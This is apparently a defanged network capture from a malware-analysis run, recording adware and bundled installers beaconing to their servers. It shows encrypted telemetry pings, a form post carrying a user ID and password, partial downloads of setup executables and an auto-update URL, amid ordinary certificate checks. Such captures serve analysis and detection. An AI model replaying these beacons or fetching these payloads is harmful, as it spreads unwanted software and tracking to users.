<RESULT>.<LICENSE><STATUS>YaBhX1FVSUY=</STATUS>
;<EXPIRATION>0</EXPIRATION></LICENSE><UPDATE>.
<EXIST>0</EXIST>.<VERSION></VERSION>.<PAGE_
URL></PAGE_URL>.<DOWNLOAD_URL></DOWNLOAD_URL>.<
;DOWNLOAD_FILENAME></DOWNLOAD_FILENAME>.</UPDATE>.<S
TATS><COLLECT>1</COLLECT></STATS>.<YTA><
CONFIG><SITES><LEN>99864</LEN>..<ZIP>0</
ZIP>..<XMLVERSION>20131113143800</XMLVERSION><DATA&g
t;..hzmx6NSdzPupSuFmPETTOwEaP5MtN3k5B2a5khhOAdWUsYMpoVIMyJmCvgMilCqVBj
4UbQPeysvtYNiJVZNbRiQ7kiQsDUsNZ3MEYy1JfoBg o4pFsDooC00NO31pfd X8nXxC3V
p1HfKOwdgo62mJR71PwoZndR4AVDfbY4 9wFzk5tF 7727dskH5IZvVtCTpSQRswno298p
arAhgqN6qT czhzLjGJDuSJCwNSw1xwvWc8nan6y8O2JpeHgh8bMQc3Btg097LREoQ8w0F
1OQktY78pcFTqkKychePn/BkFKYzMvpZMy3oEVdiQxtA5xdCc2YpO8/CTqFCBwPADyfxYv
2FEVfbbiJm9OYFcu118IHvVTOrVQafL QEq0UE2pvXQCRnwiLKkp2rjL8gdMtEShDzDQXU
5CS1jvylwVOqQrJyF4 f8Dt4Oelu3aKGRqumrg /iFozngL0PZo7xV IapaBL0J2JDuSJC
wNSw0svxf0mAsRlmEq8DYMfNoIOuCvQUIqzx3Jp/JaHAbdZcJOoUIHA8AP5qvMAtrk934H
d6DRXxR/qRhAvBesE3Xujk7yXbEuF7GpHiEFiCgrxFB5bOBLlmCPV7tVm0pUOGtH43b05W
UQ5y/jTrneLb7G3yjsHYKOtpgOWQYwQw2yOF7cSHoRn1cSqUrhZjxE0zsejhg2EGJPm5Xv
sdYcwlgFCPIGtJXT5or44D/zrQcOo12lJj5r3ojdmAGFido 37oT3SwxUyBYApR71PwoZn
dR4AVDfbY4 9zwk5A4Jnge/RPdLDFTIFgCZLLU7dfR VD VN6OwG s/84tOgdW/RrWk0GO
NPWePfzAC91wf62CJMVfxez40MStk0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7
LRCtQYSZvjaZZMK3muQBGik0GONPWePfwyH243G2GPaN L3Yb09J2jjg1O9xFNo7Ku<<< skipped >>>

POST /online/Report.aspx HTTP/1.1

Content-Type: multipart/form-data;boundary=---------------------------4EA728097F6C

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Content-Length: 852

Cache-Control: no-cache

Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="ProductID"

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="Version"

3.3.9.4

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="UserID"

e5482312-2be3-46f2-b003-7761c59feba2

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="Password"

oP5QhnYw

-----------------------------4EA728097F6C

Content-Disposition: form-data; name="XmlData"

<xml><VERSION>3.3.9.4</VERSION><ACCFAILUREINFO>kJ79Iwl e1s2/G8nRzh5ELBkVPoUjhogZ7pxoWdsrUU0WQQicfmo07WDE3STM32CP0gISt2/sLfwO4RkVciWc/kiuWQtfNTYfCc56FjccT1XXcVBUJlIVi2n2PaSTXVTobfpyd uyKERKswPDh1GAkRy6DZO1LiivytcG5MEgIAbtdK8bYfXZ1SeqXDIGTM3qRRGU6wa1Qw=</ACCFAILUREINFO></xml>

-----------------------------4EA728097F6C--


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:36 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 486
..<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h
ttp://VVV.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html 
xmlns="hXXp://VVV.w3.org/1999/xhtml" >..<head><title>..
.Untitled Page..</title></head>..<body>..    <for
m name="form1" method="post" action="Report.aspx" id="form1">..<
input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="/wEPDwU
JNzgzNDMwNTMzZGQUJSQ6xqCofiIPEnKrtJGqWg0fIQ==" />..    <div>.
.    ..    </div>..    </form>..</body>..</html&g
t;....

GET /MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: g.symcd.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1363

content-transfer-encoding: binary

Cache-Control: max-age=550861, public, no-transform, must-revalidate

Last-Modified: Mon, 9 Feb 2015 12:58:45 GMT

Expires: Mon, 16 Feb 2015 12:58:45 GMT

Date: Tue, 10 Feb 2015 04:00:29 GMT

Connection: keep-alive
0..O......H0..D.. .....0.....50..10......7).nj./P(.3.\\.;.B....2015020
9125845Z0f0d0<0... ..........9.....yP..`...<.......*.A.....>U
....... ...:v....20150209125845Z....20150216125845Z0...*.H............
.e...c-.JM..D.9........[..NV...$..s ...K].3.',.yj.....*A.....i..h%..KC
B8?.y ..-w.".<..wF....&*.JF.^.._ .E.:.v.H......... !=.....C........
$...@..^.q/$?.V.Ul....D<..8...es.....V....E..10r...3.Ob............
...Yvr......]Uu?B.....j ^4$Lj@."-m.N?-@b...~n.......Z....0...0..}0..e.
.......:}0...*.H........0B1.0...U....US1.0...U....GeoTrust Inc.1.0...U
....GeoTrust Global CA0...141201130534Z..151216130534Z02100...U...'Geo
Trust Global CA TGV OCSP Responder 30.."0...*.H.............0.........
...\.hpc..J.a.j-.t......F`Aw...)L.YE.2..~..-...2.Y(.".CZ.w..T..Y. syd.
....x..YE..<....lwv.:J.76>U....uF.a.|8N.. ..1p...`f.X...B>x..
............6..m.&...'..W.plK....[.m.V..h..lI.........?~.....>.|'..
..o...A!.Pm.*.N ...<.....3...*|.x._..1..m.W<*....._S............
.0..0...U.#..0....z.h.....d..}.}e...N0... .....0......0...U.%..0... ..
.....0...U...........0...U.......0.0!..U....0...0.1.0...U....TGV-B-283
0...*.H.............~....2!...V..0...Y....L..k....z}~a.3Y.x..dS.L...Dk
$a...nR9_......B......m....Y....U.5....'.....<{....v&=.2].....j*.r(
7...=..w.I...z....\.#.J.ac.....I.[.[....6.X....0...g.3d...z.i.H..f...v
.....\.....^.N..1.J<.)`Z.....4.-.E..n.E.~t....v.e.T...?. ......i..%
....<<< skipped >>>

GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhEciVJl3DcOpdbVDkbeKcRg== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:02:37 GMT

Content-Type: application/ocsp-response

Content-Length: 1493

Connection: keep-alive

Set-Cookie: __cfduid=de0c993a63fce965d983774e721c5a4841423540957; expires=Wed, 10-Feb-16 04:02:37 GMT; path=/; domain=.globalsign.com; HttpOnly

ETag: 433e8b94b69b7f1e896302bca6de820a57b63e14

Expires: Tue, 10 Feb 2015 07:42:48 GMT

Last-Modified: Mon, 09 Feb 2015 19:42:48 GMT

Cache-Control: public,no-transform,must-revalidate,max-age=43198

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1b656989d3e30899-FRA
0..........0..... .....0......0...0........w..;....wp......f...2015020
9194248Z0u0s0K0... ........)[email protected]...^./.....2k.
..!...&].p.]mP.m..F....20150209194248Z....20150210074248Z0...*.H......
.....g]l...p._..Y..XX~...R1...n[.S}...3~keR..\....$.M .A..S...{.......
...?.z.Q*CS...-...>*...........q.p...".Q=A......... G.i.. ...q.P.D.
..S......^6.....K........Y.=.....O./...........".......@ .;F.V......=P
...#.T.h>....:%H..xb.L..3..sB..$.!....:S..No......P).*....0...0...0
...........!........kl......0...*.H........0Z1.0...U....BE1.0...U....G
lobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G20...1
41229102646Z..150329092646Z0..1.0...U....BE1.0...U....GlobalSign nv-sa
1C0A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responder - 11
.0...U....201412291126000.."0...*.H.............0...........d..}.f..4.
.m<O.h.0$^U6...CO....q?..;....B%.....#[email protected]...[@.X...d...m.p
U...~......t...".8..`..>..$8...{.s.ul`....$...P........8....-..?...
>gBsT^..1..\2..].%/...Z$6...R.........g@7_.P.0r.h..d.w......:.. ..z
..k....Z.......i....>.Y.,..H.|..p.. .<i...........0..0...U....0.
0...U...........0...U.%..0... .......0... .....0......0...U........w..
;....wp......f.0...U.#..0....J.Z.M1...^./.....2k0...*.H.............|.
..w..:..)S.h..%X..;.vle..=...4....X.:[H..!.....".....F.;. ._.@..,.5.o.
f..m....9i..U.....=..S.C(/..-Z....p..E..\.#.....~.M. M....*.V....v./|.
.]`.t.VC. .K....E..@......*`Yx.....2.K..cv.4..qg.5'.....I...X....ZnL..
.7./...k......$.;.'B...[[6...8G.v\....(X.,....<<< skipped >>>

GET /searchprotect/up?ptid=smt&sid=IHProtectPlugin&ln=en_us&ver=4.0.1.1716&uid=535559167_198339_B48A115F&dp=0 HTTP/1.1

Host: VVV.theviilage.com

User-Agent: Mozilla/4.0

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:01:59 GMT

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.2.14p1

1..0..0..

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=515619

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:00:23 GMT

Etag: "54d95cef-1d7"

Expires: Mon, 16 Feb 2015 16:00:23 GMT

Last-Modified: Tue, 10 Feb 2015 01:20:47 GMT

Server: ECS (ams/49E4)

X-Cache: HIT

Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015020
9200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
.....b......7.g.y....X.5.*.T.~.....6.........g.....`.4....V..{...qb..5
L.........'.........}[email protected] 0.E.v.....Q...n.)..qk.;...g...}.k..#
........c..KI...n&p..|LX........M..... .,h.o...x....A=t#....X.qU...>
;..uo....\..xM.^.A..}.......0....i..O3.A)Tj..I./k.....HTTP/1.1 200 OK.
.Accept-Ranges: bytes..Cache-Control: max-age=515619..Content-Type: ap
plication/ocsp-response..Date: Tue, 10 Feb 2015 04:00:23 GMT..Etag: "5
4d95cef-1d7"..Expires: Mon, 16 Feb 2015 16:00:23 GMT..Last-Modified: T
ue, 10 Feb 2015 01:20:47 GMT..Server: ECS (ams/49E4)..X-Cache: HIT..Co
ntent-Length: 471..0..........0..... .....0......0...0........P5V.L.f.
.......=.U..20150209200000Z0s0q0I0... .........Q..2...}Q......b.U.....
P5V.L.f........=.U...........z....@7....20150209200000Z....20150216200
000Z0...*.H.............b......7.g.y....X.5.*.T.~.....6.........g.....
`.4....V..{...qb..5L.........'.........}[email protected] 0.E.v.....Q...n.)
..qk.;...g...}.k..#........c..KI...n&p..|LX........M..... .,h.o...x...
.A=t#....X.qU...>..uo....\..xM.^.A..}.......0....i..O3.A)Tj..I./k..
.......
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.digicert.com


HTTP/1.1 200 OK

Accept-Ranges: bytes

Cache-Control: max-age=511069

Content-Type: application/ocsp-response

Date: Tue, 10 Feb 2015 04:00:23 GMT

Etag: "54d95eb5-1d7"

Expires: Mon, 16 Feb 2015 16:00:23 GMT

Last-Modified: Tue, 10 Feb 2015 01:28:21 GMT

Server: ECS (ams/D1B3)

X-Cache: HIT

Content-Length: 471

0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
0011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150210011300Z....20150217012800Z0...*.H........
......Yf......d....B.....ND.?...v.....i.\[email protected].. .N..=.5.t
..Rj4 ..IbmA.PW....&..2.i.:....)._..#..Xg..M......,....&.|.R...E/...h.
...M@.*&..#`...#)x..R...5/.Q...6e[..g7&.E*....}..\[email protected]...
...'......Y...:nN...[8Nb.._r....Q..4...&.o1WH...?..HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=511069..Content-Type: appli
cation/ocsp-response..Date: Tue, 10 Feb 2015 04:00:23 GMT..Etag: "54d9
5eb5-1d7"..Expires: Mon, 16 Feb 2015 16:00:23 GMT..Last-Modified: Tue,
 10 Feb 2015 01:28:21 GMT..Server: ECS (ams/D1B3)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0.......q.7.s.......
4. Z.....20150210011300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.
s.......4. Z......M.q.......d...,....20150210011300Z....20150217012800
Z0...*.H..............Yf......d....B.....ND.?...v.....i.\[email protected]....
...p.. .N..=.5.t..Rj4 ..IbmA.PW....&..2.i.:....)._..#..Xg..M......,...
.&.|.R...E/...h....M@.*&..#`...#)x..R...5/.Q...6e[..g7&.E*....}..\.@..
...xUJ...1.UK......'......Y...:nN...[8Nb.._r....Q..4...&.o1WH...?....

<<< skipped >>>

GET /app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I8WoLIzPyE2jV/aOU2oLI3GdQD9X1g5j6i U5g BjsjVIjnnmMibQg6AUq9vGFcnz4PEn7DqvLFbw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aL/yzOcQGPn0g02wEBPEIpz IJ08V/lZvYHWe71VaIq/YV5 X6RdAPxJo1EJGyYR emd3LAicSsYxvLhUCYsoqU5dC70bWKoiViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFGH6nxT6mrRhaKj C8ts/rBwTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cXZ8qiEfUAdAEJ0Gc7l9cjZrwlpHkaAbnPAHiQ4E 2YtBf1T5uTw8yfL1Y92xkaJQ1bF907Kb2gsfJKZ4NCKSCQ== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavIoO1eWHRXrJB70p5cFj8vcD/fqz7XUSNP/TL4QSzfDiScQhY67GlQ8RWdSCCrEc0hVpeWF2oQIshgCEqrXpIWd7HEv67ptHclD/oBpUX5crnl1xOKDZuhX43G01TipW9reVFPQewwTdqF2K7v3Wx4P3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ORm1WAVEoCJvIBpE39lWvvVOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXX29hXkrzRmBpq73FZdDH/8= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:20 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:20 GMT..Content-Length: 0..

GET /pki/crl/products/microsoftrootcert.crl HTTP/1.1

Cache-Control: max-age = 812

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Thu, 23 Oct 2014 05:05:32 GMT

If-None-Match: "a2f3ff97eeecf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Wed, 07 Jan 2015 06:02:43 GMT

Accept-Ranges: bytes

ETag: "88c4768d3f2ad01:0"

Server: Microsoft-IIS/8.5

VTag: 279245755100000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 813

Cache-Control: max-age=900

Date: Tue, 10 Feb 2015 04:00:54 GMT

Connection: keep-alive
0..)0......0...*.H........0_1.0.....&...,d....com1.0.....&...,d....mic
rosoft1-0 ..U...$Microsoft Root Certificate Authority..150106214825Z..
150407100825Z0.0...a......../..100208014912Z._0]0...U.#..0......`@V'..
%..*..S.Y..0... .....7.......0...U......(0... .....7......150406215825
Z0...*.H..............vQ..r..L.Q.N..=#.......V;..r../\.m..<.."...F/
U....(:.....xm.....P.e.F..BE8......=...G....6t:...?...L..B.v..p.M.....
...z..Q.%J.6..I.......8...U. .g..=T=K....L..$w...^....y~..-a.'...*s#N.
o..Qs.$h..:duV'~....8.6..w..b3.... .~)...|.I.y".>R.nJq.ws...3.....f
}.E)\......EB.d\.2.....h...lMjT.7..lj.'lj.b....".L.Os6{[email protected].|7z
.. ......>..Q...([email protected]\]#..Y.*.......T. .C.....A'..
5FW.ETDvX..tE.....g5.....&..&.....x.^H;...../7..'9.t.I&<[.HX.j....Q
w......}...qy3..q`<.....LB.9w|....;..Qw..a ..=.C.:.........


GET /pki/crl/products/WinPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Mon, 06 Oct 2014 05:06:02 GMT

If-None-Match: "3e1c83923e1cf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Sun, 21 Dec 2014 06:03:02 GMT

Accept-Ranges: bytes

ETag: "d2e35dc7e31cd01:0"

Server: Microsoft-IIS/8.0

VTag: 279876544500000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 561

Cache-Control: max-age=900

Date: Tue, 10 Feb 2015 04:00:54 GMT

Connection: keep-alive
0..-0......0...*.H........0..1.0...U....US1.0...U....Washington1.0...U
....Redmond1.0...U....Microsoft Corporation1 0)..U..."Microsoft Window
s Verification PCA..141220223154Z..150321105154Z._0]0...U.#..0.......p
............<.J0... .....7.......0...U......30... .....7......15032
0224154Z0...*.H.............h.~oH#i.J.vh_.....A'B..g...........F....9c
.{[email protected].^ 4.r..Wv.Q.0.w..j....c9..w....I..%.~.l..F.......xo....
_...o...7BR.;<..\R/ .....b.(....~..]|.v.u.i.X.B....I......./*...P..
A..fi.}& .x.v{TFP[.G......A......L.o...)R.......V.u..V.../.Q..(L.]....
.uki~......


GET /pki/crl/products/MicrosoftTimeStampPCA.crl HTTP/1.1

Cache-Control: max-age = 900

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Sat, 04 Oct 2014 05:06:12 GMT

If-None-Match: "58cddbea90dfcf1:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.microsoft.com


HTTP/1.1 200 OK

Content-Type: application/pkix-crl

Last-Modified: Fri, 19 Dec 2014 06:02:00 GMT

Accept-Ranges: bytes

ETag: "9a9a44d511bd01:0"

Server: Microsoft-IIS/8.0

VTag: 43863145100000000

P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"

X-Powered-By: ASP.NET

Content-Length: 550

Cache-Control: max-age=900

Date: Tue, 10 Feb 2015 04:00:54 GMT

Connection: keep-alive
0.."0......0...*.H........0w1.0...U....US1.0...U....Washington1.0...U.
...Redmond1.0...U....Microsoft Corporation1!0...U....Microsoft Time-St
amp PCA..141218221600Z..150319103600Z._0]0...U.#..0...#[email protected].. .
.5..0... .....7.......0...U......10... .....7......150318222600Z0...*.
H............./..0Q~.r.}.E....&\....F.Z.C..#..F.s........<&\..9G..-
....j..N... .C.Fk....;l.....2.K5D.........-.>...(...g.0.S.[?...T4q&
gt;[email protected].('..e...Y..Bo..q..........I....'....i>
..y:.eH@h`..\...UA.m#.~.. ;.3..d..;..<..........p..s..J..N `Az.....
[email protected]/1.1 200 OK..Content-Type: application/pkix-crl..Last-Modifie
d: Fri, 19 Dec 2014 06:02:00 GMT..Accept-Ranges: bytes..ETag: "9a9a44d
511bd01:0"..Server: Microsoft-IIS/8.0..VTag: 43863145100000000..P3P: C
P="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SA
Mo CNT COM INT NAV ONL PHY PRE PUR UNI"..X-Powered-By: ASP.NET..Conten
t-Length: 550..Cache-Control: max-age=900..Date: Tue, 10 Feb 2015 04:0
0:54 GMT..Connection: keep-alive..0.."0......0...*.H........0w1.0...U.
...US1.0...U....Washington1.0...U....Redmond1.0...U....Microsoft Corpo
ration1!0...U....Microsoft Time-Stamp PCA..141218221600Z..150319103600
Z._0]0...U.#..0...#[email protected].. ..5..0... .....7.......0...U......10.
.. .....7......150318222600Z0...*.H............./..0Q~.r.}.E....&\....
F.Z.C..#..F.s........<&\..9G..-....j..N... .C.Fk....;l.....2.K5D...
......-.>...(...g.0.S.[?...T4q>[email protected].('..e..
.Y..Bo..q..........I....'....i>..y:.eH@h`..\...UA.m#.~.. ;.3..d<<< skipped >>>

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=80408-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 241224

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 80408-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 74f98ee8547ec50a6b9a4c3d010e1e0d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eSUmnl87TvXFi9gmuaYySj1nLrsWGb_fc8QhVhjppEjLUUQRGL0h1g==
|C...t.....G..v.P..B..W.2C.......u..K.Q."C...s......t..V.R..B..V..C...
...s ..t..F.P..B..V..B......s(..t....O..v.Q..B..W..B.......u._...{C.^.
............U..S...U....E..t.S..B.......[]..................U..j.hx.C.
d.....P...VW.t.C.3.P.E.d......;.ua.}...........E......|....E......}...
..t;j..M..O4...G...t....s.H.G..w......M....V4..#.t.....j........M.d...
...Y_^..].U..j.hx.C.d.....P...VW.t.C.3.P.E.d......{..ub.}....Y......E.
.....K....E......}..C...t<j..M...3...G...t....s.H.G..w......M.....3
..#.t.....j......C..M.d......Y_^..][email protected]....
.......]...U...E..U....Q.M.P.E.QRP.T8.....]................U..j.h9.C.d
.....P...SVW.t.C.3.P.E.d......M..E......u..F......F.........E. E..E...
...E............N.;.wf...;......... ....s.....tW.V....r..>.......r.
...... . .Q......WR..<...F. .....~...F.r...................j. ..(..
..F....r........N....r........}....W.}.W.}.W..RP..7.....;F.v.....D....
N.;.w.j.P.........h.UC...1....j. .........M.d......Y_^[..].........U..
.M..U.3.;.t.V..1...A..;.u.^].................U..QV.p.j..M..7.i1...F...
[email protected]..}1....^..]..U..Q.E.SVW..tL...H.3..M...~4.8...u.3...t..H....
...F:.u.BA;.r..E..M..U.;.t...;.|[email protected]._^[..]._^..[..]....U..j.
h..C.d.....P..h.t.C.3..E.SVWP.E.d......E........3..]..M..U..u..E...u..
U..E..E......E...E.P.U.R.E.P.E..........u..E.............E..9}.r..M.Q.
!>..............{...E............C....E.RP.M.......E..U...;.s..M..M
.;...s..E.Q.M.P.U.R........E.;.tg9}.r..M.Q..=...........}..E......E...
[email protected]..~..F.............<<< skipped >>>

GET /app/t.ashx?uid=e5f8ccfa-064a-4525-b909-9b89e346b6d9&bn=iexplore.exe&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLGU1ZjhjY2ZhLTA2NGEtNDUyNS1iOTA5LTliODllMzQ2YjZkOSwmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTY4JkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1423540823&aff=JSsmtycl&ver=2.6.8418.1498&usid=2858020935-2156992550-3658131804 HTTP/1.1

Accept: image/png, image/svg xml, image/*;q=0.8, */*;q=0.5

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: 5k9v3bc1-enehfzfv.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:20 GMT

Content-Type: image/gif

Content-Length: 35

Connection: keep-alive

Cache-Control: private

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GIF89a.............,...........D..;..

GET /webplayer/appshat/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 04:00:10 GMT

Content-Type: application/json

Content-Length: 778

Last-Modified: Mon, 27 Jan 2014 15:16:30 GMT

Connection: close

ETag: "52e6784e-30a"

Accept-Ranges: bytes

{.."group-name": "AppsHat",.."program-name": "AppsHat",.."about-text":
 "Apps Hat\n(c) 2013 Somoto Ltd. All rights reserved\n\nTerms and Cond
itions:\nhXXp://VVV.appshat.com/eula/ahd\n\nPrivacy Policy:\nhXXp://ww
w.appshat.com/privacy/ahd",.."title-icon": "hXXp://VVV.appshat.com/ima
ges/16x16.ico",.."tray-icon": "hXXp://VVV.appshat.com/images/16x16.ico
",.."shortcut-icon": "hXXp://VVV.appshat.com/images/64x64.ico",.."unin
stall": "Apps Hat",.."url": "hXXp://VVV.appshat.com/home",.."width": 1
024,.."height": 795,.."cache": 86400,.."alwaysontop": false,.."program
-version": "2.13",.."start-on-windows": true,.."title": "Apps Hat",.."
tooltip": "Apps Hat",.."minimized": true,.."update-url" : "hXXp://VVV.
bigspeedpro.com/mirror/nerocrossrider/appshatmini/appshatmini_update.e
xe"..}....

